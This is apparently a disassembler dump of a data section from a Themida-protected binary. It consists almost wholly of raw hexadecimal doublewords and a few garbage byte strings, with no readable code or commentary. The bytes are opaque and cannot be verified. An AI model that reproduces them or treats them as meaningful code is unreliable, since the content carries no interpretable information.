		dd 858B30A4h, 7E3CBA5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 1FC35545h, 5AED1702h,	0C7D3AAh, 18h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 50C35545h
		dd 5E9A11AAh, 0B6E4D4B0h, 0CABB5018h, 5B556F88h, 0E9BD3156h
		dd 5F07E001h, 0CBA9B58Bh, 6A07E3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 919CD9C3h, 6FBB3B26h
		dd 8B66CC9Ah, 0F9858BF8h, 8907E005h, 119D0306h,	8B07E031h
		dd 0E0339985h, 0F1BD8B07h, 8907E018h, 0BD8B0446h, 7E023F9h
		dd 5EBB5096h, 962F42B2h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0FCC35040h, 6830FAAh,	89000000h, 0E0052D95h
		dd 0A5B5FF07h, 6A07E3CBh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 39E5C356h, 6BD8D668h
		dd 5052503Bh, 0F616052h, 4462BF31h, 585A0B92h, 0DC8A310Fh
		dd 3481585Ah, 74DB2924h, 44BF663Bh, 0AD858DFCh,	6A07E3CBh
		dd 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B64CC356h, 5B31BE10h, 0FA8B4578h, 0CE850h, 2D960000h
		dd 9DC549D9h, 0B5632F1h, 0FD8AE4A4h, 2404895Fh,	2DCD9D89h
		dd 9D8B07E0h, 7E00511h,	21CD95FFh, 6A07E0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 44BC02C3h
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0DB90B05Ah, 0F2AAF37Eh, 85C7C7F7h, 7E022C5h
		dd 3, 83DABF0Fh, 0E3CBADBDh, 840F0007h,	24h, 14E9h, 0DCD92600h
		dd 0E4477538h, 0B45A6FFBh, 17C33E53h, 3D008124h, 21E9B9h
		dd 0BD890000h, 7E01495h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 4470C355h, 0CB7CFFCCh
		dd 30D942F0h, 5810F60h,	0B8000000h, 1F09AF2Eh, 618FF180h
		dd 6E8h, 0F255D900h, 0F77C908h,	665BFAB7h, 83D3E9BFh, 0E022C5BDh
		dd 850F0307h, 45Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 2FC35545h, 23A1BD23h,	0D78107E0h, 5E4433B8h
		dd 0CBADBD83h, 0F0007E3h, 42584h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 59C912CEh
		dd 89590FF3h, 316008BEh, 0E02931B5h, 1AD28107h,	61567F31h
		dd 0CBADB5FFh, 6A07E3h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0D14238C3h, 0E5B589B5h, 0FF07E018h
		dd 0E01DA995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 5F83D559h, 86FD9ABh, 321D8D09h
		dd 0B58B07E0h, 7E3CBA1h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 2CC35040h, 6C72C07h, 10001h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CAC35242h, 34895081h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 63C403CBh, 0B5299870h, 7E02599h,	2FD5BD0Bh
		dd 0B5FF07E0h, 7E3CBADh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0EDC35545h, 0F2560B58h, 0FF50F18Bh, 0E0301195h
		dd 3AEB8007h, 0CBA1B58Bh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 76DC6FC3h, 0FD3B10F9h
		dd 0E8B8943Dh, 12h, 8D73EDA6h, 9FE2CC79h, 0EB684769h, 88D5BCA9h
		dd 8F0F6CD5h, 6, 211BD8Bh, 8B5F07E0h, 0E022D185h, 7E907h
		dd 75950000h, 0D45BCD92h, 0C48689A1h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 74FEC356h, 15958B7Fh, 0F07E018h, 689h, 0F9BD8B00h, 0E907E012h
		dd 0Ch,	0DEEF686Bh, 0E5033A81h,	61F1EA4Bh, 0E904C283h
		dd 9, 0D4D7ADAAh, 0C7902C4Dh, 205089C7h, 8DFAB70Fh, 0E3E0D485h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9D8BA743h, 7E008C9h, 2CA99529h, 868907E0h
		dd 0B8h, 6ADBB70Fh, 6ACB8000h, 0CBADB5FFh, 6A07E3h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 1999E4C3h, 10840FCAh, 0E9000000h, 0Bh, 6547DCEEh, 5D102BD6h
		dd 0FF524EF6h, 0E02A9995h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 4A6CB790h
		dd 0EDB5894Ah, 9607E01Fh, 0DB27EDBBh, 52505045h, 4DE983BFh
		dd 8B310F66h, 96585AF9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0C35242h, 6785FA15h, 899744C9h, 0E002099Dh
		dd 8E907h, 0A6310000h, 0BE276309h, 0B5FFAB9Eh, 7E3CBADh
		dd 1E4D8D31h, 95FF07E0h, 7E028E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 48C35141h, 8E6B8D85h, 0CE844h
		dd 0DDCB0000h, 0C1F97900h, 2ADD052Bh, 9E9AFEDh,	0AD000000h
		dd 0EDC5D9B1h, 0B7D6D9D0h, 0E1BD835Fh, 7E028h, 37840Fh
		dd 9D890000h, 7E00149h,	4B06050h, 7CD8BA66h, 24348961h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 71C35040h
		dd 527555DAh, 4EE7CD66h, 0ADB5FF31h, 6607E3CBh,	0FFB008BFh
		dd 0E0303595h, 3820F07h, 0F000000h, 0B5FFF9B7h,	7E3CBADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 3CC35141h
		dd 8B391976h, 0E02B419Dh, 0B995FF07h, 6A07E001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 461CC356h, 0B70F1FEBh, 31BD83FFh, 207E007h, 1B840Fh
		dd 0BD230000h, 7E01C05h, 2039858Bh, 9D8B07E0h, 7E028F9h
		dd 8B0000C6h, 0E02C9D9Dh, 3D85C707h, 7E004h, 80000000h
		dd 15165F7h, 0E0088D9Dh, 95E95B07h, 0FFFFFF2h, 585h, 7F05BF00h
		dd 0C18B0184h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	72C35040h, 0F2C6C4F8h, 8DFC089Bh, 0E013C985h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9866B78Ah, 3841A775h, 8B6650E0h, 240489D8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DDC35040h, 0CB81FC79h
		dd 59150F97h, 1BB19589h, 6A07E0h, 8B66006Ah, 0AEB81DAh
		dd 8D4AC2EEh, 0E5216D85h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 18F2C55Ch
		dd 8A00B82Fh, 8870F3Dh,	0F000000h, 286h, 8B616000h, 0E006019Dh
		dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0FDC35141h, 1FB789D0h, 8A0F9787h, 0
		dd 890F50h, 89000000h, 8BFC2404h, 0E006E19Dh, 6A006A07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0AD0C356h, 23FEA05Eh, 0E012B1BDh,	85BD8B07h
		dd 0E907E01Ch, 0Ah, 9DB5BF83h, 7A0C94E1h, 6AE347h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 1BC35040h, 0E960F8ECh
		dd 5, 207BCDB2h, 22BF66E3h, 95FF61E4h, 7E03441h, 88DBD33h
		dd 8D8D07E0h, 7E3A393h,	0FFFEBF0Fh, 53006AD1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 7F2C02B2h
		dd 5F68FBCFh, 800FE6E6h, 0
		dd 16B1BD83h, 0F0107E0h, 2485h,	0F99D8B00h, 6A07E033h
		dd 16CF8002h, 24048950h, 127D9529h, 0B70F07E0h,	9995FFFFh
		dd 8B07E02Ah, 0E01335BDh, 0E61E907h, 0E80000h, 5D000000h
		dd 2177ED81h, 6A07E5h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 898DCBC3h, 0E0311185h, 63858D07h
		dd 5007E394h, 99DF3DBFh, 24048950h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0A1C35242h,	5EC7A169h, 376FCDBh
		dd 0E00895BDh, 35FF6407h, 0
		dd 258964h, 1000000h, 0E008C98Dh, 0FD85FF07h, 6A07E020h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 2B3EC357h, 81663578h, 66D6A7F7h, 6A5440BFh
		dd 19D23FFh, 8B07E021h,	0E025659Dh, 49B5FF07h, 6A07E01Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0CAA3C352h, 0BDB822F5h, 338995FFh, 5FE907E0h
		dd 0BB000001h, 2279ACC6h, 6800Fh, 0B5890000h, 7E0199Dh
		dd 70E600B0h, 6890Fh, 0BD8B0000h, 7E018D5h, 12E971E4h
		dd 0E2000000h, 0B7B45EB6h, 0DC31B9E0h, 88306410h, 3288BC26h
		dd 0F613CC7h, 11D83h, 9E800h, 6E690000h, 4736AA0Fh, 5BA5112Fh
		dd 29119501h, 0B60F07E0h, 12810FC8h, 0E9000000h, 0Dh, 8CE879E1h
		dd 0AC3D8538h, 0BA25A273h, 6BA5Dh, 8B600000h, 0E01BEDB5h
		dd 0B9858B07h, 6107E01Bh, 0BD8BC18Bh, 7E017BDh,	0E804E8C1h
		dd 10h,	2537662Ch, 672D0C3Dh, 210A55A1h, 74F04DD0h, 16EF8166h
		dd 0F7665BCFh, 49BD33E2h, 2B07E01Bh, 119589C8h,	8B07E01Ah
		dd 5DEB81D1h, 0E95BDA05h, 96h, 19818589h, 9D8B07E0h, 7E01225h
		dd 4E49858Bh, 0D88B4400h, 0BF07C083h, 50AF1EF2h, 18798589h
		dd 0C08307E0h, 0B1BD8B00h, 3B07E010h, 1C830FD0h
dword_59EB00	dd 0E9000000h, 11h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh
					; DATA XREF: Themida_:0055D2E8o
		dd 48E908h, 8BFC0000h, 0FFFFFF8Dh, 0A9BD8BFFh, 8307E01Bh
		dd 840F01E1h, 32h, 6810Fh, 95310000h, 7E019D9h,	0FFFFA583h
		dd 29FEFFFFh, 0E023A185h, 12DF8107h, 890D19E8h,	4E4995h
		dd 89D5B344h, 0E01E7DBDh, 0E907h, 0B58D0000h, 7E4A043h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 67C35141h
		dd 0F3A68B49h, 0BFB98452h, 75A88921h, 0BD33006Ah, 7E028C9h
		dd 18A995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 9B4FBDC3h, 941D11B7h, 44B9FBD8h
		dd 8B00000Fh, 0E032259Dh, 28A0F07h, 0B3000000h,	0FCE183EAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BCC35646h
		dd 6AFCDED0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0D89DC356h, 66A2D60Ah,	0BD8BDF8Bh
		dd 7E02B3Dh, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 26FB7DC3h, 0DB50E87Dh, 81461B3Eh
		dd 0E48134C3h, 0BA7Eh, 0FA8B0000h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0BBC35141h, 5C94B12Eh, 0EE9A7FBh, 26000000h, 0E1FFA733h
		dd 0CC409266h, 85E3F93Bh, 11BD8BB6h, 8B07E016h,	0E01D819Dh
		dd 880D07h, 79B70000h, 1815958Bh, 6E807E0h, 0F1000000h
		dd 990C497Eh, 5830BF31h, 295F2FCAh, 0E014CD8Dh,	498D8B07h
		dd 0F07E020h, 682h, 11BD8900h, 5007E002h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0E2382373h
		dd 7679B713h, 1595BD89h, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 88F68FC3h, 8B820ABCh
		dd 0E0348DBDh, 0F5BD8307h, 7E012h, 0B9840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F4A6F2C3h, 0B8CE97F6h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1AC35747h
		dd 0AE860B3h, 66000000h, 0B208E5AEh, 0FC094975h, 8B5EF99Ch
		dd 0E0169D8Dh, 8D8D6107h, 7E04EE8h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 26C35545h, 274238Fh, 0C8A0F4Eh
		dd 0F000000h, 687h, 799D8B00h, 6607E001h, 0FF7C66BBh, 52006AE1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 83385621h, 0E022C5BDh, 840F0007h, 482h, 1D15BD8Bh, 0BD8307E0h
		dd 7E022C5h, 8A840F01h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7898C357h
		dd 71BB9518h, 830490AFh, 0E022C5BDh, 860F0307h,	423h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D7C35646h, 89ACC4AEh
		dd 0E007E99Dh, 66516007h, 665BDF8Bh, 8B50D98Ch,	0E004199Dh
		dd 8D895F07h, 7E008D5h,	6A04E180h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D144C352h
		dd 2AD8BDA7h, 0BF66399Ah, 0C90ADB69h, 158840Fh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 2A3DA3C3h, 958963CDh, 7E007FDh, 6860Fh, 9D0B0000h, 7E00E11h
		dd 3399858Bh, 9D8B07E0h, 7E01A9Dh, 31898533h, 6A07E0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8B70C3h, 7E023C9h, 9ABB6690h, 6A905024h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 7F04C356h, 29EAE857h, 0E02F618Dh, 0F8B70F07h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 82FE2AC3h, 0A5F1664Eh, 29BD8B50h, 5B07E004h,	39337C68h
		dd 815FB3F4h, 0D0832404h, 0FE8B0BE5h, 21CD95FFh, 6A07E0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 8EADABC3h, 21BD8BD6h, 0F907E026h, 52D78166h,	0AD858920h
		dd 6A07E3CBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B0C5C356h, 56CF24D5h,	9DBD8BCEh
		dd 0E907E001h, 206h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0F4C35242h, 0F2A6629h, 858BFEB7h, 7E3CBA5h
		dd 0A709C781h, 880F5A7Ah, 0
		dd 1800C7h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 776120C3h, 0E99D8B1Fh, 8B07E02Ch
		dd 0E3CBA9B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 8BDA8B00h, 0E005F985h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 41A81C9Bh, 0FA481C3Bh, 89F98B7Ah, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0BFB39098h, 32E88FE5h, 14C381FCh, 8B4E055Bh,	0E0339985h
		dd 19BD8B07h, 8907E011h, 81660446h, 503AEBD3h, 5FDE8B50h
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0B3B8C351h, 0A5B5FFDFh, 6A07E3CBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0DD51C357h, 8985089Eh, 0E0129DB5h, 4E807h
		dd 3FF0000h, 0BF66001Fh, 50505DE3h, 0F88B6652h,	61B3310Fh
		dd 448B585Ah, 0BABF0424h, 8B2B5C3Eh, 0D98B6600h, 4244489h
		dd 6A58DF8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8981C353h, 0E006698Dh,	0AD858D07h
		dd 6007E3CBh, 695B589h,	816607E0h, 61CFD2D0h, 8909B750h
		dd 81602404h, 6FE9F4EAh, 92B86637h, 0C7806123h,	0CD95FF3Dh
		dd 6A07E021h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0E04EC352h, 60074CB6h,	1111BD89h
		dd 0B58B07E0h, 7E0004Dh, 7E861h, 0ECA50000h, 4FE57FE2h
		dd 6870F53h, 3000000h, 0E019AD9Dh, 29615B07h, 0E01C6DB5h
		dd 0C585C707h, 307E022h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EE3BC352h
		dd 2D9D9D33h, 9D8B07E0h, 7E03105h, 0CBADBD83h, 0F0007E3h
		dd 3284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0EDD2A429h, 0BE252EE7h, 0F88B668Ch
		dd 278BF381h, 1BE920C4h, 50000000h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BB0C3C3h
		dd 8DBD8BF9h, 6007E011h, 0DBB70F50h, 0C9BF0F5Ah, 0C5BD8361h
		dd 307E022h, 435850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 99A8A4C3h, 0AD8D8965h
		dd 8307E033h, 0E3CBADBDh, 840F0007h, 403h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D6C35646h, 296467AAh
		dd 1AD59509h, 0B5FF07E0h, 7E3CBADh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 75C35040h, 95FFCDE5h, 7E01DA9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A0C35545h
		dd 7D81ABE7h, 0D3E7569h, 59BD2965h, 0F07E02Ch, 0B58BDABFh
		dd 7E3CBA1h, 5E8h, 25AC0F00h, 8B669DC4h, 6C75BDAh, 10001h
		dd 58F0Fh, 81660000h, 50675BE7h, 3489D88Bh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0ECE8D98Ah, 445B9DD7h, 0ADB5FF49h, 6A07E3CBh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 6638C350h, 0FFCE10BBh, 0E0301195h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0B2C684A1h, 29F6E873h, 0E01BFD85h, 5D958907h, 8B07E026h
		dd 0E3CBA1B5h, 0A9BD8907h, 8B07E001h, 0E022D185h, 9D09F807h
		dd 7E013C5h, 0C48689h, 39BF0000h, 8B377065h, 0E0181595h
		dd 0FBB70F07h, 191C90BBh, 4C28321h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0DBC35747h,	6BE1EA5Bh, 0F1B56B02h
		dd 13E8DAh, 0E76A0000h,	7D3501D5h, 6DA78135h, 344C1DF9h
		dd 0F0BEC122h, 0FB8B669Fh, 8D85895Fh, 8907E008h, 0BB512050h
		dd 6085C4EEh, 0D4858D5Fh, 8007E3E0h, 8689CCF7h,	0B8h, 9E8h
		dd 0A2986D00h, 0C3D1A80Ch, 8A0F6C50h, 6, 257DBD29h, 6A5B07E0h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FF3EEBD7h, 0E3CBADB5h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0F86AD9ACh, 0F8299E0Ch, 2375BD8Bh, 95FF07E0h, 7E02A99h
		dd 8950D98Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 272BDBC3h, 0CB8166B6h, 0E7803721h
		dd 0ADB5FF74h, 0E907E3CBh, 10h,	332E2DFDh, 3B745AAFh, 59062301h
		dd 7B240102h, 28E995FFh, 0F6007E0h, 0D08BC2B7h,	0E1BD8361h
		dd 7E028h, 54840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 160424h, 53430000h, 4D026DC3h, 0A8B0Fh, 5E90000h
		dd 4000000h, 9B945615h,	96FFB70Fh, 840Fh, 0E9500000h, 12h
		dd 516DCF81h, 0CCC8D57Ch, 52488483h, 0A8ABB0DBh, 6696C006h
		dd 0B5FFDE8Bh, 7E3CBADh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0F5C35141h, 6B93487Bh, 7F079524h, 95FFFC70h
		dd 7E03035h, 5810Fh, 81660000h,	313D96C3h, 0E0338D9Dh
		dd 0ADB5FF07h, 8907E3CBh, 0E0304D95h, 0B995FF07h, 6A07E001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 7E2BC350h, 351AD7C3h, 31BD8338h, 207E007h
		dd 6C840Fh, 8E0F0000h, 6, 1AED9D09h, 8A0F07E0h,	6, 820Fh
		dd 858B0000h, 7E02039h,	14E9h, 0D9C19700h, 5F8797B5h, 5B1FDBCFh
		dd 122C875Eh, 731E74CFh, 0C6F4h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 18h, 0B1C35040h,	0F79B8F2Eh, 0C860Fh
		dd 890F0000h, 6, 155D9589h, 85C707E0h, 7E0043Dh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 1EC35141h
		dd 0B8FD6C20h, 0F5BD8B1Eh, 0E907E02Dh, 0FFFFF287h, 1C5DBD8Bh
		dd 0C18B07E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	90C35343h, 0F54234ACh, 1D48352Ah, 0DE9C5h, 0EE5D0000h
		dd 0CF11F9A9h, 7187E9FDh, 8DF6E92Ah, 0E013C985h, 919D2307h
		dd 0F07E01Eh, 680h, 919D3100h, 5007E02Ah, 0C672BEBBh, 24048912h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 14C35343h
		dd 6FA97C25h, 278A0218h, 6880Fh, 85090000h, 7E00099h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 86B97FC3h, 0BD8B2EB5h, 7E02675h, 0BB66006Ah,	0BD8BE307h
		dd 7E01DADh, 31AA858Dh,	6A07E5h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 790ECC3h, 0A7E527B0h
		dd 5C083F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0ECC35747h, 0D3329C64h,	8529608Dh, 7E023F1h, 61D6BF0Fh
		dd 5E950h, 58060000h, 896AEAFAh, 850F2404h, 0
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8B309AC3h, 0E000999Dh, 60006A07h,	4ED858Bh
		dd 858B07E0h, 7E01111h,	0DFBF0F61h, 344195FFh, 6A07E0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8D14D1C3h, 0E3A3938Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0B1EE9535h
		dd 61C56554h, 8D89D1FFh, 7E029F1h, 16B1BD83h, 0F0107E0h
		dd 4D85h, 0F9B70F00h, 6A026AF8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 416FC351h, 0EE950B0h
		dd 0C000000h, 0A686D859h, 0BBDBFB80h, 7CA3494Fh, 2404890Fh
		dd 10899D8Bh, 95FF07E0h, 7E02A99h, 339D8D89h, 2E907E0h
		dd 0E800000Eh, 0
aBa1xJ		db ']í´1å',7,'j',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 31BC350h, 0E011E99Dh, 63858D07h, 6A07E394h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0E0A4C353h, 0D0B7A4ACh, 0A2D7BB03h, 28F5BD89h, 8B5007E0h
		dd 240489F9h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	90C35040h, 4591AD94h, 14E823h, 61E90000h, 0AB2903DEh
		dd 98489A33h, 0ADB964B7h, 2847A9E4h, 8B66D9F0h,	840F5FDFh
		dd 1, 35FF64F9h, 0
		dd 28A0Fh, 0DA8A0000h, 0E0D0BF66h, 258964h, 31000000h
		dd 0E02C598Dh, 0FD85FF07h, 6607E020h, 0B8F4EB81h, 6AFF6Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 9ED0FCC3h, 0BF5E0385h, 0FF997FA6h, 0E022E5B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 7AAA2B60h, 0FE78175h, 95FFFBB7h, 7E03389h, 0F7E9h, 0B0F500h
		dd 8B6670E6h, 8B71E4FAh, 0F613CDEh, 0E383h, 38B0F00h, 51000000h
		dd 85895BFCh, 7E00709h,	66C8B60Fh, 0BA9E8ABBh, 6, 2066BB66h
		dd 6060C18Bh, 0A0F2BB66h, 3235C781h, 8161369Ch,	0E9C7DBD7h
		dd 0E8C16155h, 399D2904h, 6607E004h, 870FE2F7h,	3, 2BF9BF0Fh
		dd 0BE960C8h, 0FC000000h, 80C6F273h, 0C9CCCEDBh, 8B665B43h
		dd 0D18B61CBh, 6860Fh, 85890000h, 7E02FF1h, 6FE9h, 4C858B00h
		dd 89505F4Ch, 0E0238DB5h, 0F9BF0F07h, 0F07C083h, 685h
		dd 74EB8100h, 661F36A2h, 0C083DF8Bh, 0C8BF6600h, 0FD03BAEh
		dd 1583h, 6870F00h, 29000000h, 0E01C759Dh, 2EE907h, 0BF660000h
		dd 8D8B1375h, 0FFFFFFFFh, 0E183E6B3h, 19840F01h, 83000000h
		dd 0FFFFFFA5h, 9D89FEFFh, 7E03401h, 4C4C9589h, 0E9F5505Fh
		dd 0
aNZpfJ		db 'µ‡¯ä',7,'j',0
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 528FEFC3h, 7E8A8h, 0C56B0000h, 90E3EE57h, 19BD8B54h
		dd 5B07E029h, 8B66006Ah, 0AE9DAh, 392B0000h, 0D0E6F129h
		dd 0E2DB1458h, 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 9D8B57C3h, 7E02429h
		dd 0FB5B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
